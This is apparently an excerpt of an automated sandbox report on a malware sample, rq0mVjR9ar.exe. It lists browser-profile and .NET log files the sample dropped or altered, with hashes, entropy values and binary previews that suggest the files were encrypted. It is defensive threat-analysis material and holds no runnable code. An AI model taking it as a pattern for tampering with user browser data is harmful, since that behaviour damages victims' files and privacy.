C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.596719600752682
Encrypted:	false
SSDEEP:	12:k438JCDshV/1wKr3ZXBDm5SqASHLoDKkNY+iJiJqyElZixpZacii9a:ICDshpyEmQtSHLoDxNY+iJiAyElZiTkX
MD5:	9540E38778625FAF1C73ED23BFC382C3
SHA1:	482BB7B810104F400141E20A9E8627649459A6C4
SHA-256:	4FEFAA6C05BE3F329F0E16C75B53FEAF0D76D74EEDF4FA0699E1CBAC02B74C41
SHA-512:	CE942753B73E2CEB38DE94D7231CD1B18B083257F9683E25936592F3FBC1E334408B04E294AB2CD6C874845DC2EB81B009AC4D3F5A00D378128BF85C460335B6
Malicious:	false
Preview:	2023/V...P..E..{.wv..]7#.9K.].h2:.!rb}.O`...r...L.I.;.....z.C.s.....0..,0.[.n...!.z.:..3...A....q..+}.i......4W~=._..M....Q...2...Qr........S.x\|..BzQ.-.....sq8".I.F..c.D. y..r..F.[C.P*.f.3.."x..]#.i8...b"k.l.4.;...t[.A..1o&7..u.W..K}.{..1%q..5.gk!.1kQ3^M.y}.M.?ZL.8a.~"U[njw.p~..s...2..h..x....h..DikL5.e....N.......L<?Hi........TO.lh.}...M....D.E......f..B.m~`..#.n...Z8C..oe...}s.}.H..L...8.~.........)o.c..Ol....d;Z"j..>...`o...M.....I.L.vKII)x.A.[HI.........T.4..?>K..m.[D..Y.q.1YZ.<z@..h..<....[O.................Y2 .h..Y....fw......"..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.8660605301857975
Encrypted:	false
SSDEEP:	24:GbW7JPCE4nFNvMoxFAXxqDK9TN6mwK+F2NhKzo/VC6831ymYEVkNm8K9adzZyiTW:hJPCE4FNvZEADKz6C+QUo/VCX33YEuNq
MD5:	F32C44D35DFE05C09D410E82E2CDD525
SHA1:	A40A09FAA81935EE3EC9FB627881423A1606660B
SHA-256:	F8489B5106957D8E0E45B94EF1727BED154465BEAD754BC94655D507123B878C
SHA-512:	FF9FE03D569EFBE351D127AEF8AB7F5E91C068EBF102527A7619E0887302B9112199C6999334C6E1FBF572F9B01A0560B24639CD20258B4DC28FAE2EDEA78DE0
Malicious:	false
Preview:	.h.6..vV$..z..qm'....."...Hl~.....!.1.k.v...l?o.I3?.k....:.6.......y5..%1..+A...a...p"..)L0,q.M.".....l.j ...Z`@.t.../.&Rv..TX..s.z..t.r.............N.......voM.W..P..\|.......y.sCl......lR3h.....'>&..1.....S...[@}.}...:.Tu.t..'..v\|...._.q....\......'.........w".YF;I.4....B..\|....=T.#.....jh.b....t..W.3....`..j.J...c...n...V.M...k.&..Ga..=I.!..q....iqm&}.....\|......AlKr...&n...O...D.%..w....\...hx.u....SH...,a........l..I....F.Z.8<...KV...7.L.:.(...DD....[.j)..e.+.N.......~..k."b.k...{..rW.5.U.d.+.vR.1.vm.....R..k.d..gUf....r.V_......j..<.o7.i...@.........6.%v..QZE...v..E+b..%F....-dS....\|AT........l.^.].6.C../.L.:.:O...7u.Kt..n.gI..?2..`........)..C..+...t.d....>.?.-W...........(..P...g...W.;@...J......$.........Rw.j.}2....1...l>.Z..[.......R.*.{...N.\|...V9.Eo6......../.v.+-.[..v._.......M...VTV..z.."...X...>M2.O.?A=.........)....(.KeO..M..~.%pn.9.BP^.:.%^.v..20.....0.$.\C^.g>.V3...9.K'......jIO.:.v...-..!W...%n?.f.j?..i..NQ..N....E.r.!O..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	678
Entropy (8bit):	7.6567547262429425
Encrypted:	false
SSDEEP:	12:k9FdGNA8o0T+3uxzxBOwOmOOkSSoBcotwT7Mw7zb+uzjy5KoZixpZacii9a:X28ni34ywyOxcotaMw37j1wiTkbD
MD5:	61749979729CF1F0959FB53683B8EB1B
SHA1:	18FDC4004CBD9A0588E0F4210A64188C3A5F0686
SHA-256:	26B5A3B7C6BF10D87AD97889CC0DF0A06D69A3415B86A2E9DB0A58AE6B62119C
SHA-512:	0CC564E1AD58FE358AEFE9891EA9EB538C203FD5F26DFC160B6A1BE5B18A4326C6322E7E8105493D1B82340CC4520850740A1CDD227CF81C2F4D10705B949C2C
Malicious:	false
Preview:	2023/......S...c.2....H(\g_..f)..2.....@.g.Z=...ft'].k.p.geX+.8....[..kH......b...a..u...B^...\|...\......Zy..8%....d.XH..\.~Wx....x....Dp.T4P...[;.s..s.t...i...<q...H.K.....<.w(r5 y.[....'Ep.#x...Y-..-..+.I B...C~.]9"Izq`nl.4...q...zgC....X....d.X~:..E.\|..m....J>...\|B.wD.y.{K.v........\|..wMn.>1......EB.^...Z.}.?...R..eR...P..s...2.....F...{..\X....![..;xL....k.Y.....Y.....(.v..V..}F...c..1w.j\|o...0..v.." )..F.y..P$kY...H...)`.Y.sR..T"w.{U........*...p.(jo.........?4.yT.. ....1O..I.S.X)1.N.q..m"}..S3..&..E.......r.....K..N..i....z..........?x.W.,FZ..7.......1.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996317824981964
Encrypted:	true
SSDEEP:	768:1RFSQaZ502eb0m+6Rwh+cd6yvaQ/F5koNXZ037mJYu1PHiBWlDl:zFSPrno+LIcd6yvainRt2rSY0PCBWxl
MD5:	5C000181F3350BE70088DD399F8518B4
SHA1:	F7D03CBD3F551DA5EBD316FDCA799DD7428F53FE
SHA-256:	BA0143675FDA7CD4D04E6CE926330971A78C21E0142479FE48531B08FD864482
SHA-512:	B131FDA58696A57FD5ADFA6CFAD6F3EB0452B72C26BF93CDDDD67EA57A372A49F4833F304EA1538376BC77C969C1C95FAF64A2AF4C845EFEACD9208D4494D8C8
Malicious:	true
Preview:	SQLit..Y.....5..~+...?...../.Z..$...Q...e...<..G.:....Z.).".h....^a.\|.%3...j,#.CF..f...._..I..+...42.RD......?..a..nf.Y.5p...M..."......lG8...khd..]...^...p...];..^..sX..6v..6....LG.i). o..k".S...7.b."...\|.jJ].^....w8.....k......}/u3K.T..\..j......Q..p..!.`.....H..N[=.............o...H\|t.....6....C...s...<..\|.'^.0.\...U.^Sg.@l....F~A....a.e.y(.x.}.UM.1W...D.)6[..9.g:.j........mEm9.o$.k.pw.V.W5.>.w..a..Jk..U....+...<......6.....n.E..P...;..Po.\|...,R3.)%..t0Q.M....[.6.{"G'V.;n..] .{.l.\#....v.p..:akO.........S...-2.$w.r..`..#.6..ZU.......vs..:..I^C...M..f.G3t'(.<......# &..."....3.....]..8....\|.........N.......(.v.\|R.64.n.9.s.S$({..?."..E:..\.F.m.....88&.r#qe........nv....k...~...)....T....U..L.......0.u..k..X=P../QG*K.P.<9..P..x.G...S......s7..$....5EA.E!oD.....M....0u.7....P4r#...I6 .O.5..-q.5..0B]x..T..n1.A..}Za.`s...9..g.,Y/.C..._oY.i.L..G.\|^.L.....8.....Y`.:...j.p..g.......S<..A....1S..s.....n..S...<<c..BX..u.D6iS.'...bQu#

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.310967937260242
Encrypted:	false
SSDEEP:	6:Q3fwCIe6wfKW9ireeqjQhqMcVTOmfp/6uv9N4TwhUvixzPklrycze4bQVjGxssZE:QvwLe6KKW9eejjQ41OsSuv9zhI8z8lr+
MD5:	38546F052946437EC36214F900C056AA
SHA1:	3D3C8820B0A9757C07C68A5B659EE6A0A51003E1
SHA-256:	022F6AAF131C8F6FF147EAE418629FE968148374878C0DFC378FD24D5142BC05
SHA-512:	70976506601AB640AB66D76205FD1C188059B96AA924511533CBE7A99DF338C863496AC223719E912C8C0197490EA3128F90557F12D7C63C833BEBE8B4F587AE
Malicious:	false
Preview:	1,"fuL....\|..+....U....`.,m..~.?........m...... ..0.7...K.$.^H.r....O...'Lg..J.i. c..a...lKJ..(.....R:....+...Lx.z-......0.e.x...#. .........E.2.YR..G/-^R.V..r.......Y..i/h...7k.yqM.$JD.q..a.6....i;..D..C..E.d.....p.Nh+..C...I..A....y5.S....`..Q..z.$>.5s]W..Wdu..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.881073575091979
Encrypted:	false
SSDEEP:	24:lGQCDZWSPf0KicRGlbzo/vuGuPWVOJg7OWmG6ZyBOycWaLHF3zQvYVplEAvuiTkX:rC7xic8lUJuOVmgihG6yMVl3zFHiD
MD5:	9818F8D1C84AE17AEFC7058D3138B9E2
SHA1:	3BDCECC00CF2839718AA9BF2FCF0A17EA1E55E4A
SHA-256:	300E8BAF880D917022FDA7E83CD9D0A793A72D1EFF8E43539DCFD363128DA3B1
SHA-512:	DB57E562416B9E5312DB4CB25A1143845ADE5F636BC6E389C7A84B6C94E03BF34662A21A0258448ED3247B9B2836219042F1C9B5ED538C8EC29137E3CFCC7DCE
Malicious:	false
Preview:	1,"fuVey\|W......h0KO8.]]....{.T{../...Q..:{.?...%).....7.`...K.sV.>.m.m.<......<[Z]....s.v.:.v}P..9.L..Si"...".."8...1....<.j.......c1A...<.Y..G7c....\|.)......=.]........a..,Y.[..q.+.F... .<..9..F[.c.P..t5P..E..qP.......g9........F.t.\"%+..nz.Ec51.8qwomRb.$x.'.Y....#J.lY..).Cq...\N%..~.9..._}'.zKt...g.N.^m........#......Q..:.\30.0.HoW....U......Uw..sM.\...B..O:3%.j..:m..`..M.Hl.o..y.....j{....n=.[j...'.....m.....Yg.XC....73+..7Y....)s...........D.{.........[.......@.Y.q....D^..o.3....7U5....L5-.....z,.fF.&..-..~g...QSe:.N?.q.'......k........HZU.&T9..k.....J..X.i.....al.J........)...rE.m./...Y.......<....../..RK.<.g..5......g...A..<..1.?$.4...r...wi.WjM..J.=_.Q...bVy.Q.....z..dt...G......E\|{8...N..4V...F.a.d..[....6[.<..n}.I...1.w'u.I.k,..EO..".3`..../..A..h.bB5....[...q..s3.p.&.L..@.....G..l....G. !O...o;...).o.Y.p.~.,=WI.U.cr.^...,.h.J..VM...R....>....~.o_.w6...2...p.8.wF.6.r..:.....m...>S..C^...fV..^.n.B..N..r.@...%o.gq...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.897094987925674
Encrypted:	false
SSDEEP:	48:7bbtco2DkSpjQSzP40cyVCWEOX+ovUQrIgua/p+viD:vbtt2BQwwZyeBoDMgnkC
MD5:	C4BC7F1E076AFA37853A0DB4262F0E5A
SHA1:	87C80E3BF722BC78230B9E67F80BF8D6DB5BB38D
SHA-256:	00448042D5B54184FFAAF9ABE252370FE02500D466AB8E9084795610572BD424
SHA-512:	CCCEAD51EA95B1297847BCF51146ACC7C3B6A45D44EEBB14D327659AE756686732E54DA190F24E1BD35853FA87CE46542B35487E39B69D684107C000D2A57B85
Malicious:	false
Preview:	1,"fuK..V4....wj6.A.L.~.e..........%.u.q6....N4.$.LQ...#.F+.'..A.:,g.W.^.R.?........V..o/.f..39....._....Z....Z..!.;..q..+3....sQ.x../.$..q.]RG/.we... ..i.Z..x..Cm.C.......a...2.&.S...%.)_Ae4.iW.J....hG2........x....Vb..?.wd..(VY.1......r,.W^`sE....rj.q.U.5..@B[.8...Yg%{0.Q.Ko7.O8_..O....)}....u.f.s7..s.......f...A..L.:.kW..\|<.H...}(V.UP....9gg.hy....L......{W.....2....x...rA..........Q\..b;.....M..)w...I.....].l(3.C......t...>..P..../........qoy ..w.-..%S..........\.,9K..._LV.:...]4}L$......c@).g......b.{.......Y.T...N0.`+...}\|ym..w_0h..p.W.s.....{.........."P.?..T.k...Z..mV..BM.:..F.1.c...J..\.$.L.jB..M.Tfp)T...*..rf[0.L..w.O.=.1.J...Y$W!P...)...Qi:..{..>..UU./..ij....2.. .]..........?Er.H..n.}..\|.>..P8.3D....V..._..D..h.....6..sS40J..O<.....Fx9}.......g..;.-`...y..=$.[..:..q.h.\|.\|......m.~.%qJ..L.\...p...aLh...dg....G:.Q.@....d. .U.OOW...4....z.^\..1+ .}.(.U.3.....x(\|jP.~Pe......]2.<..z.:.Z.....7m.~.o.0D.^c_....,.5.,)..<Z..H{\_..5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.349732575076051
Encrypted:	false
SSDEEP:	6:SYeauezQy7d+HX/gf8BYj13tCMqOvt/pz1ZVqcFjdiQKTDzyQjM2jGxssZacii9a:9HZ+IUQ3tkmtRn9inTDnA2ixpZacii9a
MD5:	16D6D978E5C9262BAE802926013CB7A2
SHA1:	404688738F8D22B39E95F7794EB7A0B2C108533D
SHA-256:	7B6E1C303F2EFEDC5A7C2C90A48DCF2F09D3433C96AD667A50C51537E93F7972
SHA-512:	D3DA347D681DC8837C982D7121D618607974F40F32A49E2883A0DF4BD95B0553F2224293DF9F1A1F06719645C14963E0F457A59EC889585FA3DB47DA560709D7
Malicious:	false
Preview:	1.8BF._..6.;.l..<.m.$P/..v..;........6...po.q.....g.f...0+]e=]x1....d9.o).w...H.q...l.......j....y....[..F.....ZS.d..B;..A.O._....Y.....R..p...W...Uw.E.ja=X.....^....9.V......S.....gs."..a....sH.K..O/PE......&.Oa...$..O..G..M"..~..6..eG?.....F.8.Q.)*eJ<Zj...u..;.X...&..V..D....Y....g7+^...P#......,...X.fr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.427094590679598
Encrypted:	false
SSDEEP:	12:qp0Ua7dCXqksTrT2xgv4Lk9SNVZm1h/ixpZacii9a:20h7EXuKxm4qiTkbD
MD5:	AF9452ED47A8C2CA1B4F417789354DDC
SHA1:	86A2F7F5E1B75B8AA2E38CFA90DC252CFA6CA8D5
SHA-256:	22B08509F27EACB692AAD0F40B6DB91D300B7E0670BBA4648E87F5D7380F3DEA
SHA-512:	D3F83058A6A24BBABBA549D7F0ABAE02F5B112607620988442E4E1A8B615C1B320F258F52D00B8279816BF6D43347148B1D7204455C57DB8A18D81C99B8C7741
Malicious:	false
Preview:	{.. ....B....\|W*e;...Pi`....k.1J..Z.@..O..Pn..k....O...&..E#.v."j%.Dm..?..rC.7..yg.O....,...V...~`.f....}@.{.....r.pCj.G..b.H.~n.G...x..q..C/.w.......RH/]....N.p.......jZ...S..cz...E.q.5bxWr.G.w=...bw..........d...Y...V.8.........;.A.a.NQ."..m9.B....g%.<..N.MRc.\..a...+.H.0..a.#.....ln.u......;mV...O.p.z.So..^m....y..w........k)...M....g..U..\|.'.cik. ... ........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\protocols.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3498
Entropy (8bit):	7.951081539890727
Encrypted:	false
SSDEEP:	96:HOXvczpQn4GxNu1da46V82963Us2O9vKnt9H9G:HNKnfU1dav829MgO9vKt9H9G
MD5:	F3D75314573D4C1AFB95E6D60AAB9952
SHA1:	FEAAED4D9975AFA8FC3D0BD3BC6372718D1A6318
SHA-256:	04067FBA4F75B51843E6C2F3965FA9CBB7E628A8232A29F5DF7F8D96BE7EB0F5
SHA-512:	8D9FA2092575B8BE9CCA193B776E5156050B652EA2AA0145C5BB4C406200FD58B3DBCD0093822AB882437B64D63FA909BF5A0F3391C9F64DBFD65B6535769863
Malicious:	false
Preview:	{.. ....f5K.n.pl.%.`....e.{....f...d.h"..}....RI...N.NT..p.....O.....`.).../..<..6.k~...Z..\..p..-.I...7j.."5oY......E.6K.....n....j(..!].&...}.A...#4...t0^..\.P......v?.Vk..X.@....Feot.....,.....h...<..~...k...i....)...5......r...6.U'.`4..w.P:=.....-+.!e."M......O(U.=nU...{..S$i0....a.+.5..VEe..}..<.d6.Y=..A.I..f#(.$p[Uh.u..B..p\|.Z0.p}...?lR..&)(.[..O........t.......3......,.k...;.....y.{g...Nw?.P......NL.9&..+,..,Wz... ..Y....Yui4.b_D..........m.....A....j.v.t.<J #C......3....gr..,Vn;k.Vw..g....K.J..B?...3[>.o......2q.M...<..6..L...s.`...e.a....A.$..{...}S.`.V...=..KU...........m......F...:~).......)"g........3.P.b-....._.].M;d.g...w2Jb..K5.ed....`.w..uI:..r@..3.BJ....P.+".^..&.....`.H1....4uA?./x.2<v..h.4]..k...s...w.]}.s.O.Q/k.w....../.6.V..........&U......;.......5..w.Ae....<.O...&..........Lm.O.U..SD=..gc...Z....A.u...o.H..l.a....\|\|.%.'"kdqC....Nn...).C.....M~4...f..HC.;.(U..]".i8DGV....(Ro.:.....K.D..%d...F.q=./..a"t..%.Dw..A

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	218058
Entropy (8bit):	7.0820417484352784
Encrypted:	false
SSDEEP:	6144:r2GS4etE2hZpeQ1iC/B5iCVEbG0KZoKFG1IrI:rg4etE+peOiCVEbrTH/
MD5:	E27E1EADC41E29FBAE4034001FB37A6B
SHA1:	2568A514DD5DCEE98778A85D7795363AC869E00B
SHA-256:	37523C2E10B3C72ECB7D95E689EC05AD2BF0B416B064AC8948583D698423BE99
SHA-512:	AED4FF185978DC94217E5BEABC2EAC88FCB5EACEA9D47710A6E68D3B682DD85061C67D4E12DAA258531851E3DCCCAABA35AD8B0CDE6DC792906792DDC0B31A7B
Malicious:	false
Preview:	{. ..~j<....x$.[...4...V&=..Mt.p.r.^.~...Te....?C......p6..R..9..........mpu.....UU,...x....`...].n.I.......8CAm;.-U.m..........~.i.NfJ..h0G..q......7.^.f.....G...d..l. ..Ci5GNyP$. .....f.I..p^.)...-....d.\|n...o.t.!.....b.......}-.+..p.G^.b.....` .Vu.AO....y..M9.v&.....m.^'.[..Q,...<)dd..k.dp.M9..Y. A.M.{.b....h.c.,'...~>..>..._#...h:cd....0.3m....{..Z..~.....l.;')H,F._..,I.v.E...)!..oG{..Q.y{j.e..5..;W.FN.U.r..\|Sy.~]..........`,........Y$Y...Y.P~.D4.z.^.E....Y...l.w..,.\|.?...t..a.`1.......N.l.$..M%.x..^X....).3.....5T..:.>Ct.\|n...<h.b..o..(>?..O..?O.e....5W.......@..0.Mg..;h. ...}.=Dm2...+C.,..n.?.>X.TU..A.T...#..d.....x.....[_.j4...5Q.A<...D...(8...z../(..`>.Ej.0n.....T"D...(..p......1..d..Q...B,,I.f..T.Ai..@.....m^@.x..#..4Y~)e........"&s.Z...u.'#.L...}.....!)QFz...Vj.....O..y..Cz..xX.;T../........ubL_.b.'...%{B.o\..#..?.M.]...)v....U...\.\|$I...{......$...\j..a..FS..r..O..<.D......=..0....9...T+.=..".....z.B.?.6.m....RQ0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_global_block_list.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4729
Entropy (8bit):	7.952386590595765
Encrypted:	false
SSDEEP:	96:oWoc9gW9a6ZBLX2bpfQ8P1d1Hqgk/ma1AySiigkA:oW7rnX2bp48tTqgk/ma1rLd
MD5:	DF039C4C7A794EEFB566CF71DA9A1AF8
SHA1:	E19129707946A866F9D9C8E3ABB225C20153957A
SHA-256:	7557A265723845A22260567C5412D8776D823B7F31255BB4618230CC994E186D
SHA-512:	601FA77A4EAD7478D32353CAC89847E346DAAF4E1C1EA6BB1D0E55CB257DDD789279E3A2264FAF16FAF18E476DA5F56744489A7DB456D07CF102885E7515D83D
Malicious:	false
Preview:	{.."g..._n.XG......q......H{5. H....w~,.D...8H..`S...G...\|.G...g^..9.....^..6'4..Q`B{..g...0l.MP0.@..HE...n.db........0.h..y%....+[x..9Dl......~N]..s=h...G..K...]......~.X........4.....y....."l.....r.\.i..zo.@....&..iv.U.9(5s..=.........M\li.\|. ..Ex.v.....T...x/......!...[P........)@.k..Xqly."}....t..H.XC.=p....9N..R......bp..Jh.....@r...%J8.s..PD.^au..GdgRI..%...;z.^\|.).5.......M;S0..@i...QO!{........Z....!..........'.3.Az1.......)c........=).M.%.G-.[u.......l.e....8.....sn...3mZC.._`...Z.4...S.]>..B........7wc.D5pJ.C...,......qQH_.......!j..4..^.f...V.u.%....+i.8.j......hc..P.s.7.`.5%m.1I.+m..../c.2..H5(...YW.l...'..b....m..6Wr ..78PVS........Z....9...vo,..&$...V.Hg .=...St.!........no.s.RC.D..I).\"\|.. ..:.......m..{:.uy..iY..g.ZD... ...Rv.7.l..-y.z._op}n.!.]..._..Q..w.....x.JKk....G...}.4.u..... .:sc..)Cs...<j.......9U.."...6.2....."5..z.#....<p......J.^..# oy..^..ZQ.Qw.RU.>...BRF.......*.d.5}f<%B.{...g...J`....0..g......WBB

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.323432018430791
Encrypted:	false
SSDEEP:	12:kB1aeeTpqz4CVyZ4dXMl/BgAyLG+pBh3L/FGQCNXR3oixpZacii9a:kB1yTpaVtdXMlZgJCI/kQCNXRYiTkbD
MD5:	7B2789549355FEB7048DB286FD8EEFC3
SHA1:	6DF02691309503036063959989B4C702BD72BF0C
SHA-256:	31F5E273325B4F8F5A1BCA8D0DFD331CDC115F7AA5358AB1712EB904E9955132
SHA-512:	4E91C22889071E71B8B124D974FADE0C3A3171FB5FE40D717B3B6C0695A6F19BA36C4F85744ECEF0A3EB9A11D361281EBDDA1C57A00718A3C24C5B9B649460E0
Malicious:	false
Preview:	1.1ED^V..+...&r......e.x..S.....b.T............z.0.......<.....<^. W2.:\.t..OG..`......~..k....]o\.]..^...\|..MO9.+...{(-..HM.H\E..sy........g.. ..]_@...%sG....6.}Z..D.V.'.\|...Y}y.`...F.<#.t...a.._..P.....N.liy.:.[A.f....t]..`...t..._*.....f..z.scM^..}......`...Q......8.F..H.O'F...:.?....=..+)$\|Uk...;.lr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.4318585203387055
Encrypted:	false
SSDEEP:	12:MkiuuCyhAju1ngiTqXlTfNL/rDZJ2rXs9uXxs5fmlg2IEixpZacii9a:MlubXu1ngiWlT901E+u2IEiTkbD
MD5:	21CAD6B15AAA07074025DA3C3FF6449F
SHA1:	417824ABCEDE45CEF429A8897E5B1F0C664DF587
SHA-256:	A2B71703FA6905268D2100DCEB10F1FDB4B9BAD1E0C8A2B8D602471F520CC5A8
SHA-512:	25F5D11EADD132EE79EC29E59B352B3E45A05615B5AD0ABAE645E01CCD8BC907346EF2B9EE6BD83EC83A98F807B2F1804108C17AB4F95452CA2C921F27526960
Malicious:	false
Preview:	.{.U...o...r.9e]5.e1.4...\|..O....v.h..cl..w.c...t.\.P........M.V.....w;2..j.hC..G.7...+6^....K,....}.@B)y5....nC.....{.N5.U.....@_.....5;.M..5.6.....nwY>..k.u.g...h\p.+k.;E:..+.;g.L"tv@?..NR.0c.hs..\......C3.c...W.PS.q..Z..Y+T.o.....R...Y..JI..f.'\~...6b.;.......8..0..h.`Y.u.qSxm...x...{.....}...f/.E_..N.....4Y\.hs...e.];J.'...J..g....n...X...M.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\regex_patterns.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	534
Entropy (8bit):	7.562589784467208
Encrypted:	false
SSDEEP:	12:71nWk3CEPQ+5Fbhy/mtfiZakaZv1ZixpZacii9a:Fh3CEPBnCyeakcvPiTkbD
MD5:	C7D404F877621A735BB6F0CE937B37D2
SHA1:	62B9988AAD1058BD992160CBCA51189A97004962
SHA-256:	2298CE5EECD93A2D3A0E80CA5B49F08E49526B83E40B425902789DB46F287C8A
SHA-512:	1E58B6F49E2D48FB76655E454503299C7E2EDCC2BC195E5FAD3C2415F657978210D8FB5A1B093378138282A950F72370AC2405797987ADA86681260316ABADA2
Malicious:	false
Preview:	{. "0jF.T....O..v.Gi.A.P.7.aV.?.....1......u..iZv_...\..o.W........2.No.&....%?.2+.o..9.<.:..u..t:...alGQ..i.H.3P......+.S>.OH..*..&Z....F/.sB...5....8!+.^....[gQD....ci...He....1....8...,....vf....!.E=.......UB8[..x..D.....j.q.6..S..q.;).....:L..(.o.R)........y...$..-.....-........T......E.v...SGS.C.B...@..Cy.;..@......V..v....x?.....L46.Gp..s...ze.$a]...V...N..l!....g..N..5A..-X....#...,...'/...k.I..z..jz.....iQdZ'.H.U.Dr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	520142
Entropy (8bit):	6.02733305810387
Encrypted:	false
SSDEEP:	3072:p+7MUa7AH+absnGrsVmstEiS+WVWuLYlWFJur+Q/5QyQHLx:p+L+agGrxyVuCFBQH1
MD5:	4811D5A48E3E26DF9771913F04F85220
SHA1:	402CD4F464693484DC17F7E06550FF98521A14AC
SHA-256:	8442C0AEE27B4E6C70F6F40141C131BC86823719C268BB77836E843FCA745F64
SHA-512:	3045FC2F407AAF1E214C01045EFB57C2D321902E3DAC20655B727D50C6D60E07FF8EFBA344CB57C7EDC4294E75265C035E44F0ED36E7877E7F0F3EC60D5691A7
Malicious:	false
Preview:	{. ".$r..K.`.GtUfLV. .E.\|.6>..:.<..68N.Cs,...qk....V....qk....N........WV;..-I.G. .....-........H}.?ro-#.....`.U..o./..H ........[.$tU..+.<..Q<Y....-Y.........BD.S.uH...d....&Y...~P.lO,u(.urO.....%Y.f.3..}6..8Pq.......U.5.&...!...nD2.4........!q.'...........,M+('.=.T.p.....j.....x..ed..5.R.Kp. .z.....fx.......O{$...17..F'...\|BOm.C..[aL...@..=.$..:.k..fs..9K.iL..SQ...-us.8K/..A...o...y......3..K.....vS..k..yY..g....7<z.o..>T....d.J.`[A.GjX..~...'.x.o..d.X..K(l...j.....{7d...v\|P.....y.=u..x~.a;.}d..l..>....t.j....:...U....g.U.n..`r...?Z....:]^...g.u).JAU.FJ....iY...rC.K.y...e..u...>...F..z..].8{.2......I..s.>+..(.T..f....oV.j..0..YJ11.6)$..ro..D..b.^LX.y.......z.`_.i.....S...q.u~...U..K...Q..#..b.G..@..O...<...w.5...r......'.G..QW......D...Ya.p...K.....w..e...`w..H.o_.X.WK..t.....YB...\#.........+..m.\a...M..g.u...-..K@?.`N..$.Q@.8..l.\.Z3......f.L..EE._.Yq...,.}.....sl...k.{...(.R.uHk9.5.....rR.9v^..!.g=.r.6..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185095354638365
Encrypted:	false
SSDEEP:	6144:71t+M7lVYchaD4PGIqF5zm2ZqKILRLj5f:x1zNuIyzm/TVLNf
MD5:	B2E4E7ACE0BF0683471F15AA422A72E1
